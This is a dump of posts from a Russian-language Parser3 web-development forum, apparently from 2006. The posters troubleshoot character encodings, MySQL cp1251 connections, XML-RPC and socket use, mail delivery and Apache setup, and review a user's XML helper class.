"54607","Странно. Я тоже пользуюсь Денвером, и уже давольно давно и с такими проблемами не сталкивался. Более того, у меня все в базе лежит в win1251, а xsl-шаблоны в UTF. В совокупности все работает без сбоев...."
"54608","Стандартные настройки Денвера. Ничего не трогал."
"54609","Для того, чтобы изменить кодировку на UTF-8, замените строчки $request/response:charset[windows-1251] на $request/response:charset[utf-8] в методе auto[] конфигурационного auto.p, находящегося в \\usr\\local\\parser3."
"54611","Спасибо, помогло."
"54612","Наш системный программист (Василий Федосеев aka Vasfed) реализовал работу с сокетами в Парсере. Подробности на http://pf.proc.ru/\
\
Просим тех, кому это нужно потестировать и сообщить о результатах. Собрали пока только под FreeBSD 6.1 (ничего другого в наличии нет :). Если кто-то сможет, то соберите пожалуйста под Windows...\
\
p.s. Сделали несколько иначе, чем в свое время предлагал PAF, но нам показалось, что реализация в виде объекта удобнее, особенно, когда приходится работать одновременно с несколькими серверами - у нас именно такая задача стояла."
"54613","у меня есть табличка с N-количеством записей, а мне надо их организовать в <table> по 3 записи на строку\
Я пытался через menu, hash, for, но это все не то... подскажите плиз!"
"54617","Был кондовый, но понятный сайт. Стал памятником рандомайзеру бэкграундов."
"54618","о реализации моих задач. с кодом пожалуйста? я буду продавать."
"54619","в реализации мне только одна мелочь не нравится (пока, на первый взгляд):\
puts/gets.\
предлагаю сделать параллельно $console:line\
$socket:line\
\
с put_element, который делает запись строки.\
и get_element, который делает чтение строки.\
класс console, copy/paste."
"54621","теперь можно будет безболезненно статистику с игрулек забирать :)"
"54623","thanx a lot!"
"54628","** увидел исходники, посыпал голову пеплом **"
"54630","а как тогда поставить преславутое тире (&mdash;) внутри xml файла?"
"54631","[code]<?xml version=\"1.0\" encoding=\"windows-1251\" ?> \
<!DOCTYPE test  [\
	<!ENTITY laquo   \"&#171;\">\
	<!ENTITY apos    \"&#146;\">\
	<!ENTITY nbsp    \"&#160;\">\
	<!ENTITY copy    \"&#169;\">\
	<!ENTITY raquo   \"&#187;\">\
	<!ENTITY ndash  \"&#8211;\">\
	<!ENTITY mdash  \"&#8212;\">\
]>\
\
<test>&mdash;</test>[/code]"
"54632","но самое интересное, что вставив &raquo; - всё нормально было, проблема возникла только с длинным тире..."
"54634","если чесно - то немного не понимаю, я тестил на Опера 7.11, Опера 9, ИЕ6, и НН7 - везде было одинаково... и при чем тут браузер, когда ошибку то парсер выдает :/"
"54636","Я прекрасно представляю как это делается на Питон и ПХП.\
Просто я не видел как отправлять запрос на сервер и возможно ли это вообще(например в пхп и питоне это тдельные библиотеки -- в последнем включена с версии 2.2 как встроенная).\
Что такое xml-rpc и его интерфейс в жж тожже апробировал.\
\
Вопрос такой: какой оператор может отправить xml-rpc запрос на сервер, если это возможно."
"54637","Другое дело в том, что как это реализуется на Парсере -- буквально каким оператором я могу отправить запрос на нужный мне сервер если вообще могу средствами Парсера"
"54640","У браузеров и Parser парсеры XML разные."
"54642","Помогите пожалуста с установкой.\
Скачал xnview с сайта. И куда его устанавливать? Я понял что содержимое папки нужно залить в папку /cgi-bin/ ? Т.е. чтобы файл nconvert.sh был впапке /cgi-bin/ ."
"54643","Не обязательно в cgi-bin, главное чтобы права на исполнение были выставлены на самом файле, я использовал непосредственно вызов исполняемого nconvert"
"54644","На домашнем компе стоит Денвер полугодовой давности, настройки кодировок менял только в базе данных. В ней хранится информация на русском языке. Заливал дамп этой базы на хостинг с MySQL 4.0.27 (в которой кодировки в ручную не ставятся), на хостинге в базе русский текст отображался в виде &#1022; залил на хостинг денверовский my.cnf - нормально, в базе отображается русский текст. НО! При загрузке страницы всё равно появляются иероглифы. Подскажите, что может быть не так!"
"54645","может отправить xml-rpc запрос на сервер?"
"54646","[code]\
# $Id: XmlParser.p,v 1.0.0.0 2006/07/17 Seomin Kirill Exp $\
\
\
@CLASS\
XmlParser\
\
\
@create[]\
$self.status(true)\
\
\
#Ввод\
\
\
@doXmlNew[docName;tag]\
^try{\
	$self.status(true)\
	$self.$docName[^xdoc::create[$tag]]\
}{\
	$exception.handled(true)\
	$self.status(false)\
}\
\
\
@doXmlLoad[docName;fileName]\
^try{\
	$self.status(true)\
	$self.$docName[^xdoc::load[$fileName]]\
}{\
	$exception.handled(true)\
	$self.status(false)\
}\
\
\
@getXmlRpc[docName]\
^try{\
	$self.status(true)\
	$self.$docName[^xdoc::create{^untaint[as-is]{$request:body}}]\
}{\
	$exception.handled(true)\
	$self.status(false)\
}\
\
\
#Узлы\
\
\
@getNodeSelectFirst[docName;path][nodeList]\
^try{\
	$self.status(true)\
	$nodeList[^self.$docName.select[$path]]\
	$result[$nodeList.0]\
}{\
	$exception.handled(true)\
	$self.status(false)\
}\
\
\
@doNodeAdd[docName;path;tag;value][node;nodeNew;nodeNewValue;temp]\
^try{\
	$self.status(true)\
	$node[^getNodeSelectFirst[$docName;$path]]\
	$nodeNew[^self.$docName.createElement[$tag]]\
	$temp[^node.appendChild[$nodeNew]]\
	$result(true)\
	^if(def $value){\
		$nodeNewValue[^self.$docName.createTextNode[$value]]\
		$nodeNew[^getNodeSelectFirst[$docName;$path/$tag]]\
		$temp[^nodeNew.appendChild[$nodeNewValue]]\
	}\
}{\
	$exception.handled(true)\
	$self.status(false)\
}\
\
\
@doNodeDel[docName;path][node;nodeParent;temp]\
^try{\
	$self.status(true)\
	$node[^getNodeSelectFirst[$docName;$path]]\
	$nodeParent[$node.parentNode]\
	$temp[^nodeParent.removeChild[$node]]\
}{\
	$exception.handled(true)\
	$self.status(false)\
}\
\
\
@setNodeValue[docName;path;value][node]\
^try{\
	$self.status(true)\
	$node[^getNodeSelectFirst[$docName;$path]]\
	$node.firstChild.nodeValue[$value]\
}{\
	$exception.handled(true)\
	$self.status(false)\
}\
\
\
@doNodeCopy[docNameFrom;pathFrom;docNameTo;pathTo][nodeFrom;nodeNew;nodeTo;temp]\
^try{\
	$self.status(true)\
	$nodeFrom[^getNodeSelectFirst[$docNameFrom;$pathFrom]]\
	$nodeNew[^self.$docNameTo.importNode[$nodeFrom](-1)]\
	$nodeTo[^getNodeSelectFirst[$docNameTo;$pathTo]]\
	$temp[^nodeTo.appendChild[$nodeNew]]\
}{\
	$exception.handled(true)\
	$self.status(false)\
}\
\
\
@getNodeValue[docName;path][node]\
^try{\
	$self.status(true)\
	$node[^self.getNodeSelectFirst[$docName;$path]]\
	$result[$node.firstChild.nodeValue]\
}{\
	$exception.handled(true)\
	$self.status(false)\
}\
\
\
#Атрибуты\
\
\
@doAttrAdd[docName;path;attr;value][node;attrNew;attrNewValue;temp]\
^try{\
	$self.status(true)\
	$node[^getNodeSelectFirst[$docName;$path]]\
	$attrNew[^self.$docName.createAttribute[$attr]]\
	$temp[^node.appendChild[$attrNew]]\
	^if(def $value){\
		$attrNewValue[^self.$docName.createTextNode[$value]]\
		$attrNew[^getNodeSelectFirst[$docName;$path/@$attr]]\
		$temp[^attrNew.appendChild[$attrNewValue]]\
	}\
}{\
	$exception.handled(true)\
	$self.status(false)\
}\
\
\
@doAttrDel[docName;path;attr][node;temp]\
^try{\
	$self.status(true)\
	$node[^getNodeSelectFirst[$docName;$path]]\
	$temp[^node.removeAttribute[$attr]]\
}{\
	$exception.handled(true)\
	$self.status(false)\
}\
\
\
@setAttrValue[docName;path;attr;value][node;temp]\
^try{\
	$self.status(true)\
	$node[^getNodeSelectFirst[$docName;$path]]\
	$temp[^node.setAttribute[$attr;$value]]\
}{\
	$exception.handled(true)\
	$self.status(false)\
}\
\
\
@getAttrValue[docName;path;attr][node]\
^try{\
	$self.status(true)\
	$node[^self.getNodeSelectFirst[$docName;$path]]\
	$result[^node.getAttribute[$attr]]\
}{\
	$exception.handled(true)\
	$self.status(false)\
}\
\
\
#Вывод\
\
\
@doXmlSave[docName;fileName]\
^try{\
	$self.status(true)\
	^self.$docName.save[$fileName]\
}{\
	$exception.handled(true)\
	$self.status(false)\
}\
\
\
@getXmlXslt[docName;fileName][xslt]\
^try{\
	$self.status(true)\
	$xslt[^self.$docName.transform[$fileName]]\
	$result[^xslt.string[$.method[html]]]\
}{\
	$exception.handled(true)\
	$self.status(false)\
}\
\
\
@getXmlPrint[docName]\
^try{\
	$self.status(true)\
	$result[^self.$docName.string[]]\
}{\
	$exception.handled(true)\
	$self.status(false)\
}\
\
\
@setXmlRpc[docName]\
^try{\
	$self.status(true)\
	$response:content-type[$.value[text/xml]$.charset[$response:charset]]\
	$response:body[^self.$docName.string[]]\
}{\
	$exception.handled(true)\
	$self.status(false)\
}\
\
=============================\
Комментарии к классу\
=============================\
\
@create[]\
#Без комментариев\
\
Создание XML документов\
\
@doXmlNew[docName;root]\
#Создание нового документа с сылкой-именем $docName, $root - корневой узел док-та\
\
@doXmlLoad[docName;fileName]\
#Загрузка XML док-та из источника $fileName в $docName\
\
@getXmlRpc[docName;flag]\
#Получение XML запроса в $docName\
\
Узлы созданных ранее док-тов\
\
@getNodeSelectFirst[docName;path]\
#Получение первого узла-элемента из $docName по указанному пути $path - XPath \
\
@doNodeAdd[docName;path;tag;value]\
#Добавление узла по адресу $path в $docName, где имя нового узла $tag, с необязательным текстовым содержимым $value\
\
@doNodeDel[docName;path]\
#Удаление узла из $docName по пути $path\
\
@setNodeValue[docName;path;value]\
#Изменяем значение текстового значения узла по адресу $path в док-те $docName, на новое значение $value ($path должен указывать на узел)\
\
@doNodeCopy[docNameFrom;pathFrom;docNameTo;pathTo]\
#Копирование узла $docNameFrom по адресу $pathFrom в док-т $docNameTo по адресу $pathTo\
\
@getNodeValue[docName;path]\
#Получаем текстовое содержание узла по адресу $path в док-те $docName\
\
Атрибуты узлов\
\
@doAttrAdd[docName;path;attr;value]\
#Добавляем аттрибут в док-т $docName по адресу $path с именем атрибута $attr и его не обязательным значением $value\
\
@doAttrDel[docName;path;attr]\
#Удаляем атрибут из документа $docName по адресу $path (указатель на материнский узел, где расположен атрибут $attr)\
\
@setAttrValue[docName;path;attr;value]\
#Устанавливаем значение атрибута из док-та $docName по адресу $path, где атрибут $attr и новое значение $value\
\
@getAttrValue[docName;path;attr]\
#Получаем значение атрибута из док-та $docName по адресу $path аттрибута $attr\
\
Вывод\
\
@doXmlSave[docName;fileName]\
#Сохраняем XML в чистом виде из док-та $docName в файл $fileName\
\
@getXmlXslt[docName;fileName]\
#Предобразуем док-т $docName к xsl таблице $fileName\
\
@getXmlPrint[docName]\
#Выводим на экран чистый XML из $docName\
\
@setXmlRpc[docName]\
#Делает ответ сервера в виде XML из $docName\
\
status - проверка успешности выполнения предъидущего оператора из класса(true;false)\
[/code]"
"54647","И коментарии впишите прямо в класс - никто их отдельно читать не будет."
"54648","$self нужен, для ^doXmlNew[doXmlNew;root]\
А по поводу комментариев, я ни кого не принуждаю использовать мой класс. Те кому действительно это нужно, прочтут в конце. Я лищь делюсь своим классом с другими."
"54649","Параметр docName надо вынести в единственное место - конструктор, а из остальных методов его убрать. Более того - этот параметр вобще не нужен: создали экземпляр класса для конкретного документа и работайте с ним... \
\
Или Вы предполагали использовать класс исключиетельно как статический? Если так, то это большая ошибка - право на объединение в статический класс имеют только изолированные методы, которые объединяются в статический класс для создания логического пространства имен. Хороший пример - класс math в парсере.\
\
p.s. Еще один момент: принято считать, что методы, имя которых начинается со слова get должны возвращать какое-то значение - у Вас это выполняетя далеко не везде.\
И другой момент: вы везде перехватываете исключения и никак не анализируете причины их возникновения, да еще и не даете тем, кто будет использовать класс, внятного объяснения происходящего. В данном случае почти все блоки ^try из вашего кода можно убрать - пусть у пользователя будет возможность самому проанализировать ошибки ипонять, что происходит."
"54650","$$var никто не отменял!"
"54651","Такой пример. Нужно получить XML-запрос от клиента, обработать его и отправить XML-ответ.\
[code]\
^use[XmlParser.p]\
$xml[^XmlParser::create[]]\
^xml.getXmlRpc[request]\
^xml.doXmlNew[response;response]\
^xml.doNodeCopy[request;request/query;response;response]\
^xml.doNodeAdd[response;response;error_msg;Была ошибка]\
^xml.doXmlLoad[xdoc1;/files/database.xml]\
^xml.doNodeAdd[response;response;database_id;^xml.getNodeValue[xdoc1;database/id]]\
^xml.setXmlRpc[response]\
[/code]\
Здесь задействуются 3 объекта XDOC: response, request, xdoc1\
response - XML с телом ответа\
request - XML запрос к сайту\
xdoc1 - XML файл, подгружаемый отдельно."
"54652","Делать класс, который одновременно подменяет xdoc и делает некие XML-RPC запросы не стоило - оптимальнее сделать класс, который реализует передачу запросов, получение ответов удаленному серверу, при этом в качестве response/request использовать именно xdoc-объекты (возможно имеет смысл сделать наследников от базового класса, если нужно что-то добавить в интерфейс xdoc-xnode).\
\
А если учитывать, что RPC - это не более, чем Вызов Удаленных Процедур, то вполне можно было реализовать именно этот самый вызов. Т.е. делаем базовы класс RPC-сервер, который имеет интерфейс для парсинга запроса, автоматической передачи их своим методам и обработки, при необходимости, ошибок (нарпимер, если не реализован метод). Дальше мы просто наследуемся от этого базового класса (назвать его, например, XMLRPCServer) И получаем примерно такую штуку:\
\
[code]\
@CLASS\
MyXMLRPCServer\
\
@BASE\
XMLRPCServer\
\
@create[request]\
  ^BASE:create[request]\
\
@method1[params]\
  Что-то тут...\
\
@method2[params]\
  И еще что-то\
[/code]\
\
и далее основная программа сводится к следующему\
\
[code]\
  $server[^MyXMLRPCServer::create[$request:body]]\
  $response:body[^server.process[]]\
[/code]\
\
Метод XMLRPCServer.process реализует как раз все, что нам и нужно... Уверен, что это будет и универсальнее и полезнее. :)\
\
Наверняка это можно реализовать очень изящно: просто сделать XSLT-преобразование входного XML'я в код на парсере и вкомпилировать его в класс XMLRPCServer прямо на лету."
"54653","Создал в корне папку /nconvert/ и залил туда все содержимое xnview папки. Запускаю страницу с кодом \
\
$f[^file::exec[/nconvert/nconvert;;-help]]\
<pre>$f.text</pre>\
\
Выдает ошибку, что не найден файл nconvert\
А в этой папке и нет такого файла\
Меняю строчку на\
$f[^file::exec[/nconvert/nconvert.sh;;-help]]\
выдает: Unknown system \\!\
В этой же папке есть файл install - для чего он? Как запустить его? Я не силен в Perl..."
"54654","Но теперь такой вопрос. В коде из примера рисунок заменяется на свою уменьшенную копию. А как указать сам большой файл, и указать куда сохранить уменьшенную копию (если можно в версии для FreeBSD) \
Заранее спасибо."
"54657","Для начала можно попробовать\
[code]$connect_string_mysql[mysql://login:password@mysql.bhost.ru/host?charset=cp1251][/code]"
"54658","Получаем ответ ПАРСЕРА - UNHANDLED EXEPTION."
"54659","У меня такая строчка используется но не нужно забывать:\
переменная\
[code]$connect_string_mysql[/code] у каждого своя\
ну и строчку:\
[code][mysql://login:password@mysql.bhost.ru/host?charset=cp1251][/code]\
нужно редактировать под свой сайт.\
А с заливкой дампа в MySQL 4+ у меня тоже проблемы возникли. Три месяца назад. Помогли две вещи:\
1. (в MySQL Front 3.2)Встать в SQL-редактор данные через буфер, а не через отрытие sql-файла.\
\
2. Указанная выше сктрочка.\
\
Вообще, на уту тему в форуме много веток...."
"54660","Да, соответственно для меня строка следующая:\
\
[mysql://inspired_elbrus:\"password_here\"@localhost/inspired_32december?charset=cp1251]\
\
Соответственно домен www.inspired.ru, база 32december. На этот запрос и выдаётся ошибка.\
\
Данные заливал через SQLQuery просто копируя запрос с базы ДЕНВЕРА на базу хостинга. Пытался забивать данные вручную - эффект тот же. Уже не знаю с каким бубном вокруг бегать..."
"54662","Конечно на хостинге эта строка без кавычек!!!"
"54663","я обарабатываю xml parser'ом и юзеру возвращаю уже html, без каких либо намеков на xml..."
"54664","А особенно http://www.parser.ru/docs/lang/exceptionunhandled.htm , где написано, как включить режим отображения [b]подробных[/b] сообщений об ошибке (а не просто \"Unhandled exception\"). \
\
Затем вы посмотрите свой код и удостоверитесь, что нужная база существует, пароль подходит и т.п.\
\
Если это не поможет, вернётесь сюда, покажете куски своих sql-файлов, расскажете, в какой они кодировке, покажете кусок кода, на котором всё валится.\
\
Если же ваши сообщения будут столь же малоинформативны, удалю ветку нафик."
"54665","есть html файл, в котором использую класс mailer.р\
\
[code]@dedic_order[cur_len]\
# place an order in dedicated servers page's\
^if(def $form:send){\
	^if($form:send eq order){\
#		Submit was pressed\
		$usermailtest[^is_email[$form:eMail]]\
		^if($usermailtest == 1){\
#			email is goood :)\
##\
			^mail:send[\
      $.from[vasya <vasya@hotmail.ru>]\
      $.to[my <my@real.mail>]\
      $.subject[test]\
      $.text[test1!]\
]\
мыло отправлено!\
##			\
		}{\
			mail is NOT gooood :(\
		}\
	}\
}\
[/code]\
метод вызывается, но мыло не отправляется. Конфигурационный файл пробывал изменять - пишет ошибку \"сендмейл скомпилирован с определенным ключом, руками не трогать\"... что делать? логи чисты... я в панике и не понимании...\
ps проблема - Письмо не отправляется (пробывал на разные ящики - результат один и тот же - молчание)"
"54666","заглянуть в лог sendmail и проверить, что было с вашими письмами.\
\
Почта может убиваться по тысяче причин, не факт, что закавыка - в парсере."
"54667","Итак, на строку запроса\
[code]mysql://inspired_elbrus:\"password_here\"@localhost/inspired_32december?charset=cp1251[/code]\
\
выдаётся сообщение:\
[code]Unknown character set: 'cp1251'\
\
mysql://****@localhost/inspired_32december?charset=cp1251\
\
/home/inspired/public_html/all_works.html(64)\
\
exception.type=sql.connect[/code]\
\
База, логин, пароль правильные.\
\
На локальном сервере (ДЕНВЕР) в базе все кодировки в [b]cp1251[/b].\
\
В файлах [b]my.cnf[/b] на хостинге и на локальном компьютере всё - [b]cp1251[/b].\
\
Фрагмент SQL_QUERY:\
\
[code]-- phpMyAdmin SQL Dump\
-- version 2.6.1\
-- http://www.phpmyadmin.net\
-- \
-- Host: localhost\
-- Generation Time: Jul 24, 2006 at 03:18 PM\
-- Server version: 4.1.16\
-- PHP Version: 4.4.2\
-- \
-- Database: `32december`\
-- \
\
-- --------------------------------------------------------\
\
-- \
-- Table structure for table `projects`\
-- \
\
DROP TABLE IF EXISTS `projects`;\
CREATE TABLE `projects` (\
  `id` int(11) NOT NULL,\
  `project_type` varchar(12) NOT NULL default '',\
  `color` varchar(5) NOT NULL default '',\
  `name` varchar(128) NOT NULL default '',\
  `name_eng` varchar(128) NOT NULL default '',\
  `name_it` varchar(128) NOT NULL default '',\
  `type` varchar(128) NOT NULL default '',\
  `type_eng` varchar(128) NOT NULL default '',\
  `type_it` varchar(128) NOT NULL default '',\
  `country` varchar(64) NOT NULL default '',\
  `country_eng` varchar(128) NOT NULL default '',\
  `country_it` varchar(128) NOT NULL default '',\
  `city` varchar(64) NOT NULL default '',\
  `city_eng` varchar(64) NOT NULL default '',\
  `city_it` varchar(64) NOT NULL default '',\
  `adress` varchar(128) NOT NULL default '',\
  `adress_eng` varchar(128) NOT NULL default '',\
  `adress_` varchar(128) NOT NULL default '',\
  `date_begin` date NOT NULL default '0000-00-00',\
  `date_end` date NOT NULL default '0000-00-00',\
  `realized` int(1) NOT NULL default '0',\
  `text` text NOT NULL,\
  `text_eng` text NOT NULL,\
  `text_it` text NOT NULL,\
  `extras_file` varchar(64) NOT NULL default '',\
  PRIMARY KEY  (`id`)\
) TYPE=MyISAM AUTO_INCREMENT=6 ;\
\
-- \
-- Dumping data for table `projects`\
-- \
\
INSERT INTO `projects` (`id`, `project_type`, `color`, `name`, `name_eng`, `name_it`, `type`, `type_eng`, `type_it`, `country`, `country_eng`, `country_it`, `city`, `city_eng`, `city_it`, `adress`, `adress_eng`, `adress_`, `date_begin`, `date_end`, `realized`, `text`, `text_eng`, `text_it`, `extras_file`) VALUES (1, 'architecture', 'red', 'РОСГОССТРАХ', '', '', 'Бизнес&nbsp;центр', '', '', 'Россия', '', '', 'Санкт-Петербург', '', '', 'Ушаковская наб., д. 23', '', '', '2002-05-10', '2004-08-01', 1, 'Я ждала сосиску. Динамики надрывались, выводя ?You can?t say, I didn?t give it, I won?t wait another minute!?\\r\\nПозвонил Олег и сказал, что если я сейчас же не приеду, он спрыгнет из окна. При этом он мне не поклонник какой-нибудь. Просто знакомый. Я ему сказала:\\r\\n- Я ем.\\r\\n- И что? ? удивился он. ? Человек кончает с жизнью, а она ест!\\r\\n- Ну, знаешь?\\r\\nОн осуждающе помолчал в трубку и сказал:\\r\\n- Ты ведешь себя так, как будто тебе на меня насрать.\\r\\nЯ не поняла, почему должно быть иначе. Тогда Олег повесил трубку.', '', '', '3D Viewer.exe');\
INSERT INTO `projects` (`id`, `project_type`, `color`, `name`, `name_eng`, `name_it`, `type`, `type_eng`, `type_it`, `country`, `country_eng`, `country_it`, `city`, `city_eng`, `city_it`, `adress`, `adress_eng`, `adress_`, `date_begin`, `date_end`, `realized`, `text`, `text_eng`, `text_it`, `extras_file`) VALUES ([color=\"#ff0000\"]Здесь текст на русском языке.[/color]);[/code]\
\
Прошу модераторов о снисхождении к постам - я на этот форум первый раз пишу."
"54668","Я имел ввиду, что правила разбора XML, скорее всего, у них по-разному составлены. Т.о. браузер спокойно обрабатывает сущности, а Parser, — как и надо, — выдает ошибку."
"54669","лежала почта на нашем сервере и на Яндексе... вот такое стечение обстоятельств... \
интересно, сколько %, что это повторится снова? :)"
"54670","Скажите, а если в phpmyadmin выполнить запросы [code]SET NAMES cp1251;\
show VARIABLES like '%char%';\
select VERSION();[/code]что ответит сервер?"
"54671","Парсер выдает ошибку на сущности еще [b]до[/b] браузера, таким образом, в случае ошибки, выданной Парсером, браузер XML так и не увидит и пофиксить ошибку, соответственно, не сможет.\
\
При чем тут вообще браузер?"
"54672","у них крайне жестокие спаморезалки. Вы не поймёте, что не так - письмо не ушло или же ушло, но его \"прихлопнули\" в процессе доставки.\
\
Тестируйте, отправляя почту на тестовый ящик у провайдера, где вы можете контролировать настройки:\
\
- шаг 1: отключаете спамфильтр на этом ящике, тестируете, как приходят письма (и приходят ли вообще)\
- шаг 2: включаете SpamAsassin с самыми жёсткими настройками фильтрации, но с опцией \"помечать как спам, но всё равно доставлять письмо\". Получаете на выходе что-то вроде этого: (цитирую из первого попавшегося спамового письма из почты)[code]Content analysis details:   (15.2 points, 6.0 required)\
\
 pts rule name              description\
---- ---------------------- --------------------------------------------------\
 2.5 FROM_LOCAL_NOVOWEL     From: localpart has series of non-vowel letters\
 1.4 RCVD_NUMERIC_HELO      Received: contains an IP address used for HELO\
 0.0 HTML_MESSAGE           BODY: HTML included in message\
 0.4 MIME_HTML_ONLY         BODY: Message only has text/html MIME parts\
 3.2 FORGED_OUTLOOK_HTML    Outlook can't send HTML message only\
 3.0 FORGED_OUTLOOK_TAGS    Outlook can't send HTML in this format\
 1.0 PLING_PLING            Subject has lots of exclamation marks\
 0.2 MIME_BOUND_NEXTPART    Spam tool pattern in MIME boundary\
 3.4 FORGED_MUA_OUTLOOK     Forged mail pretending to be from MS Outlook[/code]Анализируете причины, по которым SpamAsassin бракует ваши письма (обычно потому что письма, которые вы формируете Парсером непохожи на те, что формирует Outlook), исправляетесь, пробуете ещё.\
\
Только после этого с большой долей уверенности можно утверждать, что Яндекс не отвергнет вашу почту."
"54673","почитал http://www.parser.ru/forum/?id=54612\
\
Понимаю - тупой вопрос... видел применения сокетов только для почты, но понимаю, что это мизерная часть...\
так для чего же они нужны? т.е. реальное применение... либы ткните носом в хэлп, пожалуйста..."
"54674","чтобы [url=\"http://en.wikipedia.org/wiki/TCP_and_UDP_port_numbers\"]общаться с чем-то из этого списка[/url]. Например, хотите вы, чтобы ваш движок форума автоматически заносил новую реплику на news-сервер, читаете доку по протоколу NNTP и воплощаете.\
\
Аналогично - логин на ftp-сервер и т.п."
"54675","Может быть имелось ввиду, что один и тот же XML-документ сначала просто просматривался в браузере, а потом, когда убедились в правильности документа, работали с ним в Parser-приложении. Но там облом, обработка шла не в соответствии с правилами XML-парсера браузера и сущность \"mdash\" не определялась. Ведь определение данной сущности может присутствовать в правилах браузера, а в XML-парсере языка Parser его нету."
"54676","Грубо говоря, это для общения с внешним миром? как-то новостные сервера, аська, irc и т.д.???\
Т.е. Это обычная работа с портами удалённых серверов?"
"54678","Сервер на этот запрос отвечает:\
[code]\
Error\
\
SQL query:\
\
SET NAMES cp1251;\
\
MySQL said: Documentation\
#1193 - Unknown system variable 'NAMES' [/code]\
\
Теперь буду знать, как писать посты, спасибо! :)"
"54682","но в моем конкретном случае наша почта упала из-за \"слшком высокого свопа\" (по крайней мере это доносилось со стороны админов, а на яндекс.мейл висела красивая табличка \"сервис временно не доступен, попробуйте минут через 5 - 10\"...\
\
сейчас всё доходит (следовательно и отправляется) =)"
"54683","На: [code]show VARIABLES like '%char%';[/code]\
\
следующее:\
\
\
[/code]\
Variable_name:character_set,character_sets,convert_character_set\
\
Value:latin1 latin1 big5 czech euc_kr gb2312 gbk latin1_de sjis tis620 ujis dec8 dos german1 hp8 koi8_ru latin2 swe7 usa7 cp1251 danish hebrew win1251 estonia hungarian koi8_ukr win1251ukr greek win1250 croat cp1257 latin5[/code]\
\
На второй:\
\
[code]4.0.27-standard[/code]"
"54684","На:\
\
show VARIABLES like '%char%';\
\
следующее:\
\
\
[code]\
character_set:\
latin1\
\
character_sets:\
latin1 big5 czech euc_kr gb2312 gbk latin1_de sjis tis620 ujis dec8 dos german1 hp8 koi8_ru latin2 swe7 usa7 cp1251 danish hebrew win1251 estonia hungarian koi8_ukr win1251ukr greek win1250 croat cp1257 latin5\
\
convert_character_set\
\
[/code]"
"54685","относится к перегрузке frontend.\
Backend, то есть принимающий почту сервер - это другая вещь..."
"54686","Unhandled Exception\
post_size(0) != content_length(10)\
\
что это значит? :)"
"54687","Правда я так понял что xml-rpc клиент на Парсере реализуется через сокеты?\
\
Мне просто интересно как использовать xml-rpc средствами парсера, а везде в форуме реализация только сервера, меня же интересует клиент"
"54688","Here's an example of an XML-RPC request:\
[code]POST /RPC2 HTTP/1.0\
User-Agent: Frontier/5.1.2 (WinNT)\
Host: betty.userland.com\
Content-Type: text/xml\
Content-length: 181\
\
<?xml version=\"1.0\"?>\
<methodCall>\
   <methodName>examples.getStateName</methodName>\
   <params>\
      <param>\
         <value><i4>41</i4></value>\
         </param>\
      </params>\
   </methodCall>[/code]\
обыкновенный запрос, ничего такого с чем бы ^file::load[text;http://...] не справился..."
"54689","где там надо галочку поставить / настроить, чтоб подсвечивалась линия, где курсор находится?\
(потерял конфиги - теперь локти грызу)"
"54694","PS. CPP = Copy-Paste Programming :)"
"54695","http://pf.proc.ru\
Бинарники под FreeBSD пересобраны."
"54700","Рекомендую http://prostohost.ru"
"54702","Подскажите пожалуйста точно, какие директивы/пути писать и где, чтобы парсер заработал? \
\
Пока нашел только корень веб-пространства и httpd.conf встроенного апача. Кладу в корень парсерный .htaccess - пишет, файл не найден (cgi-bin/parser..)"
"54703","1. Положите в cgi-bin файл parser3.cgi, откройте в браузере http://127.0.0.1/cgi-bin/parser3.cgi , добейтесь, чтобы на экране отобразилась версия Парсера\
2. Удостоверьтесь, что Apache считывает файлы .heaccess: положите в корневой каталог вебпространства этот файл со строчкой[code]Zavedomo_Nepravilnaya Komanda[/code]и откройте http://127.0.0.1/ . Если считывает - должны получить Error 500. Если не считывает - не пол[i]у[/i]чите."
"54704","Mysql скомпилирован с поддержкой cp1251, это радует.\
\
Не радует то, что у вас версия 4.0, и она не понимает \"set names\".\
\
В вашем случае должны помочь команды[code]SET character_set_client = cp1251;\
SET character_set_results = cp1251;[/code]\
\
http://dev.mysql.com/doc/refman/4.1/en/charset-connection.html"
"54705","1: 404 не найден, хотя cgi-директория совпадает с установленной в httpd.conf\
2: .htaccess считывается только в подкорневых папках, в корневой директории игнорируется."
"54706","$cookie:name[\
   $.value[sdfsd]\
   $.expires[session]\
]\
\
такие куки хранятся на сервере? подскажите пожалуйста где именно"
"54709","что ваши проблемы к парсеру отношения не имеют.\
\
Предлагаю гуглить и справшивать в макинтошных конференциях, как настроить Panther'овский апач и возвращаться сюда, как настроите..."
"54711","в index.html пишу\
[code]^use[/_classes/virtual.p][/code]\
\
выдает ошибку \
[b]0,\
invalid number (double)\
[/b]\
\
и указывает на строку, где находится оператор use\
убил код просто до минимума, всё равно - пишет ошибку..."
"54712","Проанализируйте его."
"54714","1. «На use ругается» написано в _заголовке_ корневого сообщения.\
2. И причем здесь корень? :-)"
"54715","проблема таки была в vitual.p\
вместо ; стояла ,"
"54716","[quote]1. «На use ругается» написано в _заголовке_ корневого сообщения.\
2. И причем здесь корень? :-)\
[/quote]\
По словам Афтара он вычистил вызываемый файл, соответственно там ругатся было не на что:\
[quote]убил код просто до минимума, всё равно - пишет ошибку...[/quote]\
\
Я сталкивался с такой проблемой один раз, когда учился работать с калассами. Тогда ошибки у меня вызывали именно [i]неопределенности[/i] корня. Причем, бывали случаи, когда вместо \"file not found\" вываливались совершенно непонятные сообщения...\
\
Хотя, согласен."
"54718","разве что только в try catch ? кстати, а что вы будете делать со статусом false, если один из методов нагрешит? :) коммент бы хоть какой выдавал :) а то так и молчать будет )\
\
Простите, но класс бестолковый..."
"54720","собственно, пример )\
\
есть дерево сайта, нужно как-то отметить, какие страницы будут отображаться на карте сайта\
\
предложение1: для страницы добавить поле visible\
если его значение истино, страница отображается на карте\
\
предложение2: добавить таблицу site_map, которая содержит одно поле с id страницы\
если страница попадает в таблицу site_map, она отображается на карте\
\
одно из предложений нарушает нормальную форму базы данных, подскажите, какую и почему?"
"54721","Именно для удобства работы и делается нормализация. С одной стороны, вынесение столбца с перечислением id в отдельную таблицу может показаться не разумным, но с другой стороны, если это удобно для ВАС, почему бы и нет. Мой совет - либо используйте первый вариант, либо во второй добавьте еще один столбец - visible и перечисляйте там все страницы. Вообще, я так понял, что недовольны вторым вариантом, предложенным вами, т.к. одним из принципов нормализации является сокращение числа ненужных повторений данных, но это можно рассматривать и как более гибкую структуру и организацию данных. Интересно понаблюдать за развитием темы."
"54722","Итак. Для начала хотел бы узнать одну вещь. Да, понимаю, есть поиск, но мне нужно так. Извините :).\
\
Данные этого форума находятся в XML- или в SQL-формате?"
"54725","Всё. Вопрос снят."
"54726","Благодарю."
